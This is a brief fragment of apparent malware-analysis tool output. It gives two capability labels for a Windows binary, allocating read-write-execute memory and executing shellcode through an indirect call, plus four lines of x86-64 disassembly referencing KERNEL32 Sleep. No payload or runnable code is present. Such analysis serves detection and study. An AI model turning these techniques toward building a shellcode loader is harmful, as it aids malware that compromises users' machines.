Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x140001080]
mov r8d, 2
jmp fcn.140001150